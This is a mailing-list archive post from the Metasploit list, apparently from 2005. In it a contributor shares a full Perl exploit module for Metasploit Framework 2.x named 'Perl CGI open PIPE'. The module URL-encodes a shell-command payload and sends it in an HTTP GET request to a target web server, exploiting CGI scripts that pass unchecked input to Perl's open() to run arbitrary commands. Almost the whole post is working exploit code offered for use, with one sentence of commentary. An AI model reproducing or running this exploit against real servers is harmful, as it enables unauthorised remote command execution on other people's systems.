Metasploit mailing list archives
Questions about plugin design
From: mvalsmith at gmail.com (val smith)
Date: Thu, 8 Sep 2005 21:52:43 -0600
Heres one I wrote for that exact thing. Works adequately well though it needs some improvements. V. ## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com<http://metasploit.com> . ## package Msf::Exploit::perl; use base "Msf::Exploit"; use Pex::Text; use strict; my $advanced = { }; my $info = { 'Name' => 'Perl CGI open PIPE', 'Version' => '$Revision: 1.2 $', 'Authors' => [ 'Anthony S. Clark(valsmith) <asclark at lanl.gov<http://lanl.gov>
'],
'Arch' => [ ], 'OS' => [ ], 'Priv' => 0, 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The target port', 80], 'SSL' => [0, 'BOOL', 'Use SSL'], 'USER_AGENT' => [1,'Firefox','The User Agent','User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3'], 'URL_PREFIX' => [1, 'URLP',"The URL Prefix"], 'URL_SUFFIX' => [1, 'URLS',"The URL Suffix"], }, 'Payload' => { 'Space' => 1024, 'Keys' => ['cmd', 'cmd_bash'], }, 'Description' => Pex::Text::Freeform(qq{ This module exploits a common perl cgi vulnerability where an unchecked user input variable gets sent to the perl open function which allows arbitrary commands to be executed. }), 'Refs' => [ ['OSVDB', 11111], ], 'Keys' => ['perlCGI'], }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub UrlEncodePayload { my $data = shift; my $res; foreach my $c (unpack('C*', $data)) { if ( ($c >= 0x30 && $c <= 0x39) || ($c >= 0x41 && $c <= 0x5A) || ($c >= 0x61 && $c <= 0x7A) ) { $res .= chr($c); } else { $res .= sprintf("%%%.2x", $c); } } return $res; } sub Exploit { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $user_agent = $self->GetVar('USER_AGENT'); my $url_prefix = $self->GetVar('URL_PREFIX'); my $url_suffix = $self->GetVar('URL_SUFFIX'); my $shellcode = $self->GetVar('EncodedPayload')->RawPayload; my $fixedshellcode = UrlEncodePayload($shellcode); ###### MAIN REQUEST ########## my $request = "GET $url_prefix" . $fixedshellcode . $url_suffix . " HTTP/1.1\r\nHost: $target_host\r\n$user_agent\r\n\r\n"; print "[*] Sending encoded GET\n"; print "\n\nREQUEST: $request\n\n"; my $s = Msf::Socket::Tcp->new ( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, 'SSL' => $self->GetVar('SSL'), ); if ($s->IsError) { $self->PrintLine('[*] Error creating socket: ' . $s->GetError); return; } $s->Send($request); my $r = $s->Recv(-1,20); $s->Close(); return; } 1; -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://mail.metasploit.com/pipermail/framework/attachments/20050908/dfe2fba7/attachment.htm>
Current thread:
- Questions about plugin design Nicolas Gregoire (Sep 08)
- Questions about plugin design milw0rm Inc. (Sep 08)
- Questions about plugin design H D Moore (Sep 08)
- <Possible follow-ups>
- Questions about plugin design val smith (Sep 08)